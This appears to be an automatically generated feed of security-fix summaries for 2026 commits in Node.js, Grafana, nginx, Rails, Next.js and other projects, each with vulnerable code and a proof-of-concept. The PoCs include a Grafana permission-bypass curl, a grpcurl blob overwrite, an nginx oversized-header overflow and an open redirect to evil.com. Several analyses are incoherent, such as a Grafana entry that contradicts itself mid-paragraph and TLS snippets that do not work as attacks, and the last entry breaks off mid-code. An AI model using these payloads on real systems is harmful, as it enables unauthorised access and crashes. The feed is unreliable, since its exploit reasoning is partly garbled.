An attacker or ordinary user in a shared chat channel triggers a bot command that internally executes a shell command with a sensitive path, e.g. asks the bot to run a task that fails with an error like 'Error: ENOENT /home/svc/.ssh/id_rsa not found' or a command containing an API key in an argument (e.g. `curl -H "Authorization: Bearer sk-XXXX" ...`). Before the fix, this raw command text and provider error (including the working directory and potentially embedded secrets) would be posted verbatim into the default chat channel visible to all members, leaking internal infrastructure details and secrets. After the fix, the default chat message only shows a generic status (e.g. 'Command failed') unless the user explicitly requests verbose diagnostics via `/verbose full`.
Aug 10, 2026, 10:08 AM — openclaw/openclaw
Commit: 7c8192bc03d3b0e2215f83f500252e19d1ac04f4
Author: Peter Steinberger
The prior code treated the presence of a rollback journal (-journal) the same as WAL sidecars (-shm/-wal) when deciding whether to open the SQLite database in immutable mode. If a rollback journal existed but the database was still being actively written/recovered by another process, opening it under immutable=1 (which disables locking and change detection) could allow readers to observe a database mid-crash-recovery, leading to false corruption reports or reading inconsistent state. The fix restricts the 'live' (non-immutable) treatment to actual WAL sidecars, ensuring rollback-journal recovery remains solely owned by the writable lifecycle and preventing concurrent immutable reads during recovery.
const hasLiveJournal = ["-journal", "-shm", "-wal"].some((suffix) =>
existsSync(`${resolvedPath}${suffix}`),
);
const location = hasLiveJournal ? resolvedPath : resolveImmutableSqliteFileUri(resolvedPath);
Start two OpenClaw processes accessing the same shared state DB using the default rollback-journal mode (non-WAL). Process A begins a transaction that crashes mid-write, leaving a `-journal` file present while the DB is in an inconsistent state. Process B, performing a read via inspectOpenClawStateOwnershipAtPath, detects the `-journal` file and previously treated it as 'live', opening the DB non-immutably but without performing the SQLite rollback recovery itself (read-only). Under certain interleavings this could instead cause the immutable path to be skipped when it should be used to avoid contention, or vice versa, causing false corruption detection/inconsistent reads. This is a logic/race issue in ownership determination rather than a directly memory-unsafe bug, so exploitation requires triggering concurrent crash-recovery scenarios.
Aug 10, 2026, 07:59 AM — openclaw/openclaw
Commit: 5b478bb64fafe1febabea60e56e8b4cd267eb38e
Author: Peter Steinberger
On Windows, home directory paths are matched case-sensitively when shortening/redacting them for display in terminal, agent-list, daemon-status, and sandbox/session output. Because Windows filesystem paths are case-insensitive, a path that differs only in casing from the resolved home directory (or uses an extended-length \\\\?\\ alias) would not be recognized as the home path and thus would not be redacted to '~', leaking the user's absolute home directory path (which may reveal the OS username) in output that was intended to be sanitized.
function replaceHomePath(input: string, display: { home: string; prefix: string }): string {
let output = "";
let cursor = 0;
while (cursor < input.length) {
const index = input.indexOf(display.home, cursor);
On Windows, with HOME=C:\Users\alice, call displayString(`Workspace: C:\\USERS\\ALICE\\project`). Before the patch this returns the string unchanged (leaking 'C:\\USERS\\ALICE\\project' including the username 'alice') instead of the redacted 'Workspace: ~\\project', because indexOf performs a case-sensitive match against the home path.
Aug 6, 2026, 02:41 AM — apache/airflow
Commit: 5ead3bbc575d69ad3fcd23ab072101d24a6c82d4
Author: stephen-bracken
The Keycloak client CLI configured the 'groups' claim mapper to be included in access tokens (access.token.claim=true), exposing potentially large lists of group memberships in the JWT sent to clients. For users in many groups this bloats the access token beyond browser cookie size limits (4KB), which can break authentication flows or leak excessive group membership metadata to the client. The patch disables inclusion of the groups claim in access tokens, restricting it to server-side authorization checks only.
"config": {
"full.path": "false",
"id.token.claim": "false",
"access.token.claim": "true",
"userinfo.token.claim": "false",
"claim.name": "groups",
1. Configure a Keycloak user who is a member of 2,000+ groups. 2. Authenticate via the Airflow KeycloakAuthManager-configured client. 3. Inspect the resulting access_token JWT (e.g., via browser dev tools or decoding the token) — the 'groups' claim will list all 2,000+ group names, causing the token (and therefore the session cookie storing it) to exceed the 4KB browser cookie limit, breaking login or leaking full group membership data to any script with access to the token.
Jul 27, 2026, 01:20 PM — grafana/grafana
Commit: 4dc7cdda16a7d960b814fa58bc4eedbec7128e51
Author: Craig O'Donnell
The token exchange request used for authenticating proxied annotation API calls did not include the requesting user's Subject identity (On-Behalf-Of), causing the exchanged token to represent only the service identity rather than the actual user or service account making the request. As a result, annotations created via the proxy were misattributed, and access control/audit decisions downstream in the annotation.grafana.app API server could be made without knowledge of the true acting subject, potentially allowing actions to be performed without proper per-user authorization or traceability.
resp, err := rt.exchanger.Exchange(ctx, authnlib.TokenExchangeRequest{
Audiences: []string{annotationServerAudience},
Namespace: rt.nsMapper(requester.GetOrgID()),
})
A low-privileged user makes a request through the annotations proxy (e.g., POST /api/annotations) that is forwarded to the annotation.grafana.app API server. Before the patch, the outgoing token exchange request omits the Subject field, so the downstream API server only sees the generic service token and cannot verify or restrict actions based on the original user's identity/permissions, and the created annotation gets attributed to the wrong (or no) user. This can be demonstrated by inspecting exchanger.gotRequest.Subject in a test harness (as added in the patched test) — before the fix, this field is always nil regardless of which user made the request, while after the fix it correctly reflects the user's Sub/Identifier/Type/Namespace, enabling proper OBO authorization and attribution downstream.
Jul 13, 2026, 11:32 PM — nodejs/node
Commit: 35115c05adcf6ec81f4a69b8ac7e8d1b7420c206
Author: Matteo Collina
The previous implementation of removeListener kept the removed event key in the internal `_events` object with an `undefined` value instead of deleting it, in order to preserve object shape for performance. When an application uses dynamically generated or attacker-influenced event names (e.g., per-connection IDs, user-supplied strings) and repeatedly adds/removes listeners for unique names, the `_events` object grows without bound because keys are never actually removed, leading to unbounded memory consumption and potential denial of service. The patch restores shape-mode only for emitters whose `_events` object matches the class prototype (fixed set of known keys) while properly deleting dynamic keys (or resetting `_events`) for ordinary emitters with unstructured event names.
// Leave the key in place with an `undefined` value... events[type] = undefined;
const EventEmitter = require('events');
const ee = new EventEmitter();
for (let i = 0; i < 1000000; i++) {
const eventName = `event-${i}`; // e.g. derived from attacker-controlled input
ee.on(eventName, () => {});
ee.removeListener(eventName, () => {});
}
// Before the patch, ee._events retains 1,000,000 keys with undefined values,
// causing continuous memory growth proportional to the number of unique
// dynamic event names ever used, exhausting process memory over time.
Jul 6, 2026, 02:06 PM — nodejs/node
Commit: 7d941ec7e8b19b0ec4c4316780e1eaf39c318095
Author: Trivikram Kamat
MemoryProvider.renameSync() did not check whether the destination path was a descendant of the source directory being renamed. Renaming a directory into one of its own subdirectories detached the subtree from the root of the virtual filesystem, corrupting the internal tree structure and causing data (files/directories) to become unreachable, effectively leading to data loss/denial of service within the VFS. The patch adds a check that throws EINVAL before any mutation occurs if the destination path starts with the source path plus a separator.
const entry = this.#getEntry(normalizedOld, 'rename', false); // no check for descendant path const newParent = this.#ensureParent(normalizedNew, false, 'rename'); const newName = pathPosix.basename(normalizedNew);
const vfs = require('node:vfs');
const myVfs = vfs.create();
myVfs.mkdirSync('/a/b', { recursive: true });
myVfs.writeFileSync('/a/file.txt', 'data');
myVfs.renameSync('/a', '/a/b/c'); // detaches '/a' subtree, corrupting the VFS tree and making '/a/file.txt' unreachable
Jul 3, 2026, 06:25 PM — nodejs/node
Commit: dc15da3df5ba49b07a41b8552d96f25954ad2b49
Author: Antoine du Hamel
The code was passing property descriptor objects to `ObjectDefineProperty` without setting `__proto__: null`, meaning the descriptor objects inherited from `Object.prototype`. If an attacker could pollute `Object.prototype` with properties like `get` or `value`, the descriptor could become malformed (e.g., having both `value` and `get`), causing `ObjectDefineProperty` to throw a TypeError or behave unexpectedly. The patch adds `__proto__: null` to all descriptor objects to prevent prototype chain lookups from interfering with property definition operations.
const desc = { enumerable: true, value };
ObjectDefineProperty(DOMException, codeName, desc);
ObjectDefineProperty(DOMExceptionPrototype, codeName, desc);
// Exploit via prototype pollution:
Object.prototype.get = function() { return 'polluted'; };
// Now desc = { enumerable: true, value } also inherits `get` from Object.prototype
// ObjectDefineProperty sees both `value` and `get` in the descriptor chain -> throws TypeError
// This can cause Node.js DOMException initialization to fail, crashing the process
const { DOMException } = require('vm').runInNewContext('({DOMException})');
new DOMException('test'); // Would throw due to invalid descriptor
Jul 3, 2026, 07:29 AM — grafana/grafana
Commit: 51bb33b28023deb8c4f3d00e2236cb24db7ab148
Author: Cory Forseth
The `authzLimitedClient` allowlist was missing `teams` for `iam.grafana.app`, causing the client to short-circuit to allow-all for team resources. When Grafana instances ran in dual-writer mode 4/5 (serving teams from unified storage), any authenticated user could list, search, and read all teams regardless of their `teams:read` permissions. The fix adds `teams` to the allowlist so the real access client enforces RBAC checks.
"iam.grafana.app": map[string]interface{}{"users": nil},
On a Grafana instance in unified storage mode 4 or 5: 1. Create two orgs with teams visible only to org admins. 2. Authenticate as a low-privilege user (viewer) with no teams:read scope. 3. GET /api/teams/search or issue a gRPC List for iam.grafana.app/teams 4. Before patch: all teams returned regardless of permissions. 5. After patch: only teams the user has teams:read on are returned. Curl example: curl -u viewer:password 'https://grafana-host/api/teams/search' # Returns all teams instead of 403/empty list
Jun 18, 2026, 04:29 AM — nodejs/node
Commit: d001e26f406441b86c8b243b7b2a4212b850aa31
Author: Antoine du Hamel
This is a Node.js security release patching 11 CVEs across multiple components. The highest severity issues (High) include CVE-2026-48618 (TLS server identity checks not normalizing hostnames, allowing bypass via mixed-case or encoded hostnames) and CVE-2026-48933 (WebCrypto cipher output length not guarded, potentially causing out-of-bounds writes). Medium severity issues include session hijacking via reused TLS sessions not bound to authenticated host (CVE-2026-48934), case-sensitive SNI matching bypass (CVE-2026-48928), and NUL byte injection in hostnames (CVE-2026-48930).
// TLS session reuse not bound to authenticated host (CVE-2026-48934) // Sessions could be reused for a different host than the one authenticated // SNI matching was case-sensitive (CVE-2026-48928) // Hostnames with embedded NUL bytes were accepted (CVE-2026-48930) // WebCrypto cipher output length unchecked (CVE-2026-48933)
// CVE-2026-48930: NUL byte hostname injection
const net = require('net');
net.createConnection({ host: 'legitimate.com\x00evil.com', port: 443 });
// Before patch: NUL byte would truncate hostname in C-level DNS resolution,
// causing connection to 'legitimate.com' at JS level but 'evil.com' at OS level
// CVE-2026-48618: TLS hostname normalization bypass
const tls = require('tls');
tls.connect({ host: 'EVIL.COM', servername: 'legitimate.com' });
// Before patch: uppercase hostname would bypass identity check normalization
// CVE-2026-48934: TLS session reuse across hosts
// Connect to attacker.com, get session ticket, reuse for victim.com
const s1 = tls.connect({host:'attacker.com', port:443});
s1.on('session', (session) => {
const s2 = tls.connect({host:'victim.com', port:443, session});
// Before patch: session would be reused without host verification
});
Jun 18, 2026, 04:29 AM — nodejs/node
Commit: 140355e914f9e1f0b80781ed094d9c938b205b7e
Author: Matteo Collina
This commit adds regression tests for CVE-2020-8172, which was re-reported via HackerOne report #3649802. The vulnerability allows TLS session resumption to bypass hostname/certificate verification when connecting to a different server than the one the session was originally established with. When a TLS session ticket from a connection to 'agent1' (with its certificate) is reused for a connection to 'agent3' (with a different, unverifiable certificate), the session resumption skips the full TLS handshake and certificate verification, allowing the connection to succeed even though agent3's certificate cannot be verified against the provided CA.
// In tls.connect() / https.get() / h2.connect(): // When session option is provided, TLS session resumption occurs // and certificate verification for the NEW servername is bypassed // because the resumed session skips the full handshake/cert exchange
// 1. First, establish a legitimate TLS connection to 'agent1' and capture the session ticket
const session1 = await connectAndCaptureSession({ port, host: '127.0.0.1', servername: 'agent1', ca: [ca1cert] });
// 2. Reuse that session ticket when connecting to 'agent3' (which has an unverifiable cert)
// BEFORE the fix: this succeeds (reused=true, authorized=true or bypasses rejectUnauthorized)
// AFTER the fix: this correctly rejects with UNABLE_TO_VERIFY_LEAF_SIGNATURE
const socket = await tls.connect({ port, host: '127.0.0.1', servername: 'agent3', session: session1, ca: [ca1cert], rejectUnauthorized: true });
// Attacker can now communicate with agent3 as if it were properly verified
Jun 18, 2026, 04:29 AM — nodejs/node
Commit: 26badaa6e15a6797710cbae21cfa717de5cf8527
Author: Antoine du Hamel
This is a Node.js security release (v22.23.0) patching 11 CVEs. The most severe include: CVE-2026-48618 (TLS hostname normalization bypass allowing MITM), CVE-2026-48933 (WebCrypto cipher output length not guarded allowing potential buffer overread), CVE-2026-48930 (NUL byte injection in DNS/net hostnames bypassing hostname validation), and CVE-2026-48934 (TLS sessions reused across different authenticated hosts). The patch adds hostname normalization, output length guards, NUL byte rejection, and binds TLS sessions to authenticated hosts.
// TLS: hostname not normalized before server identity check - CAPITAL letters or trailing dots could bypass cert validation // DNS/net: hostnames with embedded NUL bytes (e.g. 'evil.com\x00.good.com') passed through // TLS: session reuse not bound to authenticated host, allowing session from host A to be reused for host B // WebCrypto: cipher output buffer length not validated before use
// CVE-2026-48930: NUL byte injection in hostname
const dns = require('dns');
dns.lookup('attacker.com\x00.trusted.com', (err, addr) => { /* before patch: NUL truncates hostname in C layer, resolves attacker.com while appearing to resolve trusted.com */ });
// CVE-2026-48618: TLS hostname case bypass
const tls = require('tls');
// Certificate for 'example.com', connect with 'EXAMPLE.COM' - before patch identity check was case-sensitive or not normalized
tls.connect({host: 'EXAMPLE.COM', servername: 'EXAMPLE.COM'});
// CVE-2026-48934: TLS session reuse across hosts
// 1. Connect to attacker.com, get TLS session ticket
// 2. Reuse that session ticket when connecting to victim.com - before patch session was not bound to authenticated host
Jun 18, 2026, 04:29 AM — nodejs/node
Commit: 4547bca84f8133c75d500feab48a1ec7d844aa94
Author: Antoine du Hamel
This is a Node.js security release (v24.17.0) that patches 11 CVEs. The highest severity issues (High) are CVE-2026-48618 (TLS server identity checks not normalizing hostnames, allowing bypass via uppercase/punycode variants) and CVE-2026-48933 (WebCrypto cipher output length not guarded, potentially causing buffer overflows or incorrect behavior). Additional Medium issues include TLS session reuse bound to wrong host (CVE-2026-48934), NUL byte injection in DNS/net hostnames (CVE-2026-48930), case-sensitive SNI matching bypass (CVE-2026-48928), and proxy credential leakage in tunnel errors (CVE-2026-48615).
// CVE-2026-48618: TLS hostname not normalized before server identity check // CVE-2026-48930: NUL bytes in hostnames not rejected // CVE-2026-48934: TLS session reuse not bound to authenticated host // CVE-2026-48928: SNI context matched case-sensitively
// CVE-2026-48930: NUL byte injection in DNS lookup
const dns = require('dns');
dns.lookup('evil.com\x00.trusted.com', (err, addr) => { /* Before patch, NUL byte not rejected, could cause C-level string truncation treating host as 'evil.com' */ });
// CVE-2026-48618: TLS hostname normalization bypass
const tls = require('tls');
// Before patch: connecting to 'EXAMPLE.COM' or 'xn--...' punycode variant
// might bypass certificate identity verification
tls.connect({ host: 'EXAMPLE.COM', servername: 'example.com' });
// CVE-2026-48934: Session reuse to wrong host
// Before patch: a TLS session established with evil.com could be reused for trusted.com
const s = tls.connect({ host: 'evil.com' }, () => {
const session = s.getSession();
// Reuse session for different host - bypasses certificate verification
tls.connect({ host: 'trusted.com', session });
});
Jun 17, 2026, 02:40 PM — nginx/nginx
Commit: 2fd01ed47a1fd2965754c83f53b33a789d0e07f1
Author: Sergey Kandaurov
This release patches multiple security vulnerabilities in nginx 1.31.2, including a use-after-free in HTTP/3 QUIC session handling (CVE-2026-42530) that allows worker process memory corruption or segfault, a heap buffer overflow when proxying requests with 'ignore_invalid_headers off' and large 'large_client_header_buffers' values to HTTP/2 or gRPC backends (CVE-2026-42055), and a heap buffer overread in charset_map UTF-8 decoding (CVE-2026-48142). These vulnerabilities allow remote attackers to corrupt worker process memory or cause denial of service, with potential for arbitrary code execution.
HTTP/3 QUIC session handling code (use-after-free), HTTP/2 upstream header processing with ignore_invalid_headers off (heap overflow), charset_map UTF-8 decode path (heap overread) - specific source files not shown in diff but referenced by CVE-2026-42530, CVE-2026-42055, CVE-2026-48142
CVE-2026-42055 PoC: Configure nginx with 'ignore_invalid_headers off; large_client_header_buffers 4 256k;' and proxy_pass to HTTP/2 backend. Send: curl -k --http2 https://target/ -H "$(python3 -c 'print("X-" + "A"*65536)'):value" -- this crafts an oversized header that triggers heap overflow when copied into upstream HTTP/2 request buffer. CVE-2026-42530 PoC: Send a specially crafted QUIC session to the HTTP/3 listener that triggers object reuse after free during connection teardown, e.g., using a QUIC fuzzer that sends RESET_STREAM followed by STREAM frames referencing the freed stream object.
Jun 16, 2026, 11:34 AM — nodejs/node
Commit: dbaf45cfbef54d97015479be586d0409d2646e4c
Author: Filip Skokan
Before the patch, the `aliasKeyFormat` function treated all raw format aliases (`raw-public` and `raw-secret`) identically, allowing any alias to be used for any algorithm. This meant that `raw-secret` format could be used to import public keys for ECDSA/ECDH/Ed25519/X25519, and `raw-public` format could be used to import secret keys for HKDF/PBKDF2, bypassing intended format restrictions. The patch makes the alias resolution directional, so each algorithm only accepts its specific valid alias.
function aliasKeyFormat(format) {
switch (format) {
case 'raw-public':
case 'raw-secret':
return 'raw';
default:
return format;
}
}
// Before the patch, this would succeed when it should fail:
const { subtle } = globalThis.crypto;
// Import a public ECDSA key using 'raw-secret' format (should be rejected)
const { publicKey } = await subtle.generateKey({ name: 'ECDSA', namedCurve: 'P-256' }, true, ['sign', 'verify']);
const keyData = await subtle.exportKey('raw', publicKey);
// This should throw NotSupportedError but before the patch it succeeded:
const importedKey = await subtle.importKey('raw-secret', keyData, { name: 'ECDSA', namedCurve: 'P-256' }, true, ['verify']);
// Similarly, importing HKDF secret using 'raw-public':
const secretData = new Uint8Array(32);
const hkdfKey = await subtle.importKey('raw-public', secretData, 'HKDF', false, ['deriveBits']); // should fail but didn't
Jun 8, 2026, 09:39 AM — grafana/grafana
Commit: 99631827e2ab93f23ea62802bbb84d9a2307ba06
Author: Mihai Turdean
The List response helpers (typedObjects, genericObjects, folderObject) mutated the input slice in-place by stripping the object-type prefix from the shared cache entry. When CheckQueryCacheEnabled (the default) was active, a List call would corrupt the cached ListObjectsResponse so that subsequent BatchCheck calls — which rely on full typed idents like 'folder:<uid>' for membership lookups — would fail to match and incorrectly deny access to resources the user was directly authorized to access. The patch fixes this by allocating a new output slice instead of mutating the cached input.
func typedObjects(typ string, objects []string) []string {
prefix := typ + ":"
for i := range objects {
objects[i] = strings.TrimPrefix(objects[i], prefix) // mutates the cached slice
}
return objects
}
1. User:1 has a direct role grant on dashboard '1' (resource:dashboard.grafana.app/dashboards/1).
2. Call List(subject='user:1', group='dashboard.grafana.app', resource='dashboards') — this populates the query cache with full idents, then strips them in-place, corrupting the cached entry to bare ids like '1' instead of 'resource:dashboard.grafana.app/dashboards/1'.
3. Call BatchCheck(subject='user:1', checks=[{verb='get', group='dashboard.grafana.app', resource='dashboards', name='1'}]) — this hits the cache, tries to match 'resource:dashboard.grafana.app/dashboards/1' against the now-corrupted '1' entries, fails the membership lookup, and returns allowed=false even though the user has direct access.
Result: User:1 is incorrectly denied access to dashboard '1' after any prior List call.
Jun 6, 2026, 01:16 PM — rails/rails
Commit: f82d5692c45fc7d248724b7fc895a6c842e766a4
Author: Kenta Ishizaki
When calling `update_all` or `delete_all` on a Rails ActiveRecord relation that uses `group`/`having` but no `joins`, `limit`, `offset`, or `order`, the HAVING clause was silently dropped. The base Arel visitor's `prepare_update_statement` only checked `has_limit_or_offset_or_orders?` and `has_join_sources?` before deciding whether to wrap in a subquery, missing `has_group_by_and_having?`. This caused the generated SQL to omit the HAVING filter entirely, resulting in ALL rows being updated or deleted instead of only those matching the HAVING condition. The patch adds `has_group_by_and_having?` to the condition so the primary-key subquery rewrite is applied, properly restricting affected rows.
def prepare_update_statement(o) if o.key && (has_limit_or_offset_or_orders?(o) || has_join_sources?(o))
# Assume Post table has rows: (id:1, title:'low', legacy_comments_count:0), (id:2, title:'mid', legacy_comments_count:3), (id:3, title:'high', legacy_comments_count:9)
# Expected: only posts with MAX(legacy_comments_count) >= 3 (ids 2 and 3) should be updated
Post.where(id: [1,2,3]).group('posts.id').having('MAX(legacy_comments_count) >= 3').update_all(title: 'updated')
# BEFORE patch: emits 'UPDATE posts SET title = ? WHERE id IN (1,2,3)' -- ALL three rows updated including id:1
# AFTER patch: emits 'UPDATE posts SET title = ? WHERE id IN (SELECT id FROM posts WHERE id IN (1,2,3) GROUP BY posts.id HAVING MAX(legacy_comments_count) >= 3)' -- only ids 2 and 3 updated
# An attacker or misconfigured application code that intends to bulk-update only a filtered subset silently corrupts ALL matching rows, leading to unintended mass data modification.
Jun 3, 2026, 05:23 PM — grafana/grafana
Commit: 2e70ffaf76981fefd4b413e16a1b348a9273c6db
Author: Yuri Tseretyan
Before the patch, metadata values from alert rule labels were URL-encoded and placed directly into HTTP headers without stripping control characters (including CR `\\r` and LF `\\n`). An attacker who could control alert rule labels (e.g., via a plugin-originated rule) could inject arbitrary HTTP headers into datasource eval requests by embedding CRLF sequences in label values. The patch adds `sanitizeHeaderValue()` which strips all ASCII control characters (< 0x20 and 0x7F) before encoding, preventing header injection.
headers[fmt.Sprintf("http_X-Rule-%s", key)] = url.QueryEscape(value)
Set an alert rule label value to: `legitimate-value\r\nX-Injected-Header: malicious` — before the patch, this would be passed through url.QueryEscape which encodes spaces but NOT CR/LF (since %0D%0A are valid percent-encoded but the raw bytes \r\n in the string would not be encoded by url.QueryEscape if already present as literal bytes in Go string). Actually, since url.QueryEscape does encode \r and \n, the more precise attack vector is via other control characters below 0x20 that could corrupt the header value, or through the Origin metadata key being set to `plugin/grafana-slo-app\r\nX-Injected: evil` which would be inserted as `http_X-Rule-Origin: plugin/grafana-slo-app\r\nX-Injected: evil` in the headers map before being forwarded to the datasource backend.
Jun 3, 2026, 10:43 AM — apache/httpd
Commit: 2c5ee792f5d37d951b86c24db37035705a1b0c46
Author: Joe Orton
The bug in `send_request` used `remain` (the original chunk size) instead of `wlen` (the actual bytes sent) to advance the write buffer pointer. When `apr_socket_send` performed a partial write (sending fewer bytes than requested), the pointer would advance past the already-sent data by `remain` bytes instead of `wlen` bytes, causing subsequent sends to read from the wrong memory location — potentially sending uninitialized or out-of-bounds memory to the OCSP responder, or causing an infinite loop if wlen is 0. This could lead to information disclosure (sending heap/stack memory contents to a remote OCSP server) or a denial of service.
rv = apr_socket_send(sd, wbuf, &wlen); wbuf += remain; // BUG: should be wbuf += wlen remain -= wlen;
Trigger a partial write scenario by configuring a slow/congested OCSP responder that causes apr_socket_send() to return APR_SUCCESS with wlen < remain (partial send). In this case: if remain=1000 and wlen=500, wbuf advances by 1000 instead of 500, skipping 500 bytes of the request body. The OCSP server receives garbled/truncated request data drawn from adjacent heap memory. An attacker controlling the OCSP responder endpoint (via DNS manipulation or MITM on the OCSP URL) could observe the leaked memory contents from the httpd process heap.
Jun 2, 2026, 01:00 PM — nodejs/node
Commit: 458c37b019c8c9a88124b591ca398267e7d784b0
Author: Nora Dossche
When deflateInit2() fails with Z_VERSION_ERROR (e.g., due to a zlib version mismatch between compile-time and runtime), the zlib library does not initialize the strm_.msg field to NULL. Node.js's error handling code then reads this uninitialized pointer as a C string, causing a crash (SIGSEGV/segfault). The fix initializes strm_.msg to nullptr before the switch statement so that error emission is safe even when initialization fails with Z_VERSION_ERROR.
switch (mode_) {
case DEFLATE:
case GZIP:
// ... deflateInit2() called, on Z_VERSION_ERROR strm_.msg is uninitialized
// ErrorForMessage() then reads strm_.msg as a C string -> crash
// Trigger by running Node.js built against one version of zlib but loading a different zlib version at runtime
// In a test environment with mismatched zlib:
const zlib = require('zlib');
// Attempting to create a Deflate stream triggers deflateInit2() which returns Z_VERSION_ERROR
// Node then tries to emit the error using strm_.msg (uninitialized pointer) -> SIGSEGV
const deflate = zlib.createDeflate();
// Process crashes with: AddressSanitizer: SEGV on unknown address in __strlen_avx2
Jun 1, 2026, 08:28 PM — vercel/next.js
Commit: bc384860d5f0b77a3cab9769ca4b1a0d7f5ce2fe
Author: Joseph
The documentation example code for a session token exchange endpoint contained an open redirect vulnerability. The `redirect_url` query parameter was passed directly to `new URL()` and used as the redirect destination without validating that the destination was the same origin, allowing attackers to redirect users to arbitrary external URLs after setting a session cookie. The patch adds an origin check that returns a 400 error if the destination origin differs from the request origin.
const response = NextResponse.redirect(new URL(redirectUrl, request.url))
response.cookies.set({
value: token,
GET /api/auth/callback?session_token=VALID_TOKEN&redirect_url=https://evil.com This causes the server to set the session cookie and then redirect the user to https://evil.com, enabling phishing attacks or credential/token theft after authentication.
May 29, 2026, 02:48 PM — grafana/grafana
Commit: 40586837cbd30ad814d10bae5b38c5dbe5b4f9f6
Author: Renato Costa
The dashboard summary parser had unbounded recursion when processing deeply nested `spec` or `panels` fields in dashboard JSON. An attacker could craft a dashboard JSON with deeply nested `spec` objects or `panels` arrays to cause a stack overflow or excessive CPU/memory consumption during dashboard indexing/search operations. The patch limits `spec` nesting to 1 level and `panels` nesting to 4 levels deep.
case "spec":
return readDashboardIter(jsonPath+".spec", iter, lookup, lc)
// and in readpanelInfo:
p, ok := readpanelInfo(iter, lookup, fmt.Sprintf("%s.panels[%d]", jsonPath, ix), lc)
Submit a dashboard JSON with 10000 levels of nested spec: {"spec":{"spec":{"spec":...{"title":"deep"}...}}} via the Grafana dashboard save API. Before the patch, this would cause unbounded recursive function calls in readDashboardIter, leading to a goroutine stack overflow and crashing the Grafana backend process.
May 28, 2026, 04:17 PM — grafana/grafana
Commit: 1e02b489120b02f346c77188039b9c167329a260
Author: Renato Costa
Before the patch, the List and Watch handlers in the resource server would panic (crash) if a request was received with a nil Options or nil Options.Key field. Specifically, `span.SetAttributes(attribute.String("group", req.Options.Key.Group), ...)` would dereference a nil pointer if `req.Options` or `req.Options.Key` was nil. The patch adds early validation checks before these dereferences to return a proper gRPC InvalidArgument error instead of crashing.
func (s *server) List(ctx context.Context, req *resourcepb.ListRequest) (*resourcepb.ListResponse, error) {
ctx, span := tracer.Start(ctx, "resource.server.List")
span.SetAttributes(attribute.String("group", req.Options.Key.Group), attribute.String("resource", req.Options.Key.Resource))
defer span.End()
// Send a ListRequest with nil Options to crash the server:
client.List(ctx, &resourcepb.ListRequest{}) // req.Options is nil, causes nil pointer dereference at req.Options.Key.Group
// Or send with nil Key:
client.List(ctx, &resourcepb.ListRequest{Options: &resourcepb.ListOptions{}}) // req.Options.Key is nil, same crash
May 28, 2026, 01:39 PM — grafana/grafana
Commit: 671ee0cfbf9f20f997ec80fb1687cd77b8f510bd
Author: Roberto Jiménez Sánchez
Before the patch, user-controlled fields (userName, userLogin, userEmail) were interpolated directly into git commit messages without sanitizing newline characters. An attacker with a Grafana account could set their display name or login to contain CR/LF sequences, forging additional git trailers (e.g., 'Signed-off-by:', 'Co-authored-by:') in the resulting commit message. The patch sanitizes these fields by collapsing any CR/LF to a single space before interpolation.
// No sanitization before interpolation into commit message template
// and before building the Grafana-saved-by trailer
const trailer = `Grafana-saved-by: ${userName} (${userLogin})`;
// userName/userLogin/userEmail came directly from user profile without stripping newlines
Set Grafana user display name to: 'Ada Lovelace\n\nGrafana-saved-by: root (admin)\nSigned-off-by: [email protected]' When a dashboard is saved, the resulting git commit message would contain: Save dashboard: Test Grafana-saved-by: Ada Lovelace Grafana-saved-by: root (admin) Signed-off-by: [email protected] This forges additional git trailers attributing the commit to arbitrary identities.
May 28, 2026, 12:17 PM — grafana/grafana
Commit: 5353666ef455160905c75227fda7c057b201661d
Author: Rafael Bortolon Paulovic
Five gRPC RPCs on the unified-storage resource server (PutBlob, GetBlob, ListManagedObjects, CountManagedObjects, RebuildIndexes) had no authorization checks of their own, relying entirely on upstream callers to enforce access control. In deployments where the gRPC surface is reachable directly (e.g., misconfigured network policy or internal service-mesh bypass), any authenticated user could read/write blobs and managed-object indexes across arbitrary namespaces without restriction. The patch adds namespace-matching guards and an access.Check call on PutBlob to enforce authorization at the RPC layer itself.
func (s *server) PutBlob(ctx context.Context, req *resourcepb.PutBlobRequest) (*resourcepb.PutBlobResponse, error) {
if s.blob == nil {
return &resourcepb.PutBlobResponse{Error: &resourcepb.ErrorResult{
Message: "blob store not configured",
Code: http.StatusNotImplemented,
}}, nil
}
rsp, err := s.blob.PutResourceBlob(ctx, req)
...
# Direct gRPC call without a valid namespace-matching user identity:
grpcurl -plaintext -d '{"resource":{"group":"playlist.grafana.app","resource":"playlists","namespace":"victim-org","name":"target"},"method":0,"content_type":"image/png","value":"AAAA"}' storage-server:10000 resource.BlobStore/PutBlob
# Before the patch: succeeds and overwrites the victim org's blob with no authz check.
# After the patch: returns HTTP 401 (no user in ctx) or 403 (namespace mismatch).
May 26, 2026, 03:40 PM — vercel/next.js
Commit: 1b77dba691ef7320ce3ff293955948fce961708c
Author: Tobias Koppers
The previous `IntoIterator` impl for `ReadRef<T>` used `transmute_copy` to fabricate `&'static`-typed item references, allowing those references to outlive the `ReadRef` that owned the backing storage. When the `ReadRef` was dropped (e.g., after a `try_join` or intermediate `Drop`), any stashed references became dangling, constituting a use-after-free. This was exploited by turbo-tasks cell eviction releasing underlying storage, causing memory corruption observable as panics with impossible string lengths during JSON serialization.
// Old impl used transmute_copy to produce &'static references: // Iterator::Item = &'static I, allowing references to escape // the iterator and outlive the ReadRef's backing Arc storage. // References stashed in futures/Vecs/map keys after ReadRef dropped.
In `project_asset_hashes_manifest.rs`, the old code called `output_assets.into_iter()` which yielded `&'static RcStr` references (via transmute). These were stored in `asset_paths` while `output_assets` ReadRef was consumed. After a `try_join` dropped the iterator/ReadRef, turbo-tasks cell eviction could free the backing `Arc`. Accessing `asset_paths` during JSON serialization then read freed memory, producing: `panicked at turbopack/crates/turbo-rcstr/src/lib.rs:132:52: range end index 13 out of range for slice of length 7` — `len=13` is impossible for a valid inline RcStr (max 7), proving the byte was read from freed/reused memory.
May 25, 2026, 02:14 AM — nodejs/node
Commit: 866caa61f3b8f3a6f4f3e0ebb28ced0953ef3431
Author: James M Snell
Before this patch, peer-initiated QUIC streams had no idle timeout mechanism. A remote attacker could open many streams without sending any data, holding server resources (memory, stream state) indefinitely. This is a slowloris-style resource exhaustion attack. The patch adds a configurable `streamIdleTimeout` (defaulting to 30 seconds) that automatically destroys peer-initiated streams that have been idle beyond the timeout threshold.
// No stream idle timeout existed. Peer-initiated streams could remain open indefinitely with no data sent, consuming server resources without bound.
// Attacker opens many QUIC streams and never sends data:
import quic from 'node:quic';
const client = await quic.connect({ address: 'victim-server', port: 4433 });
// Open thousands of streams but never write to them:
for (let i = 0; i < 10000; i++) {
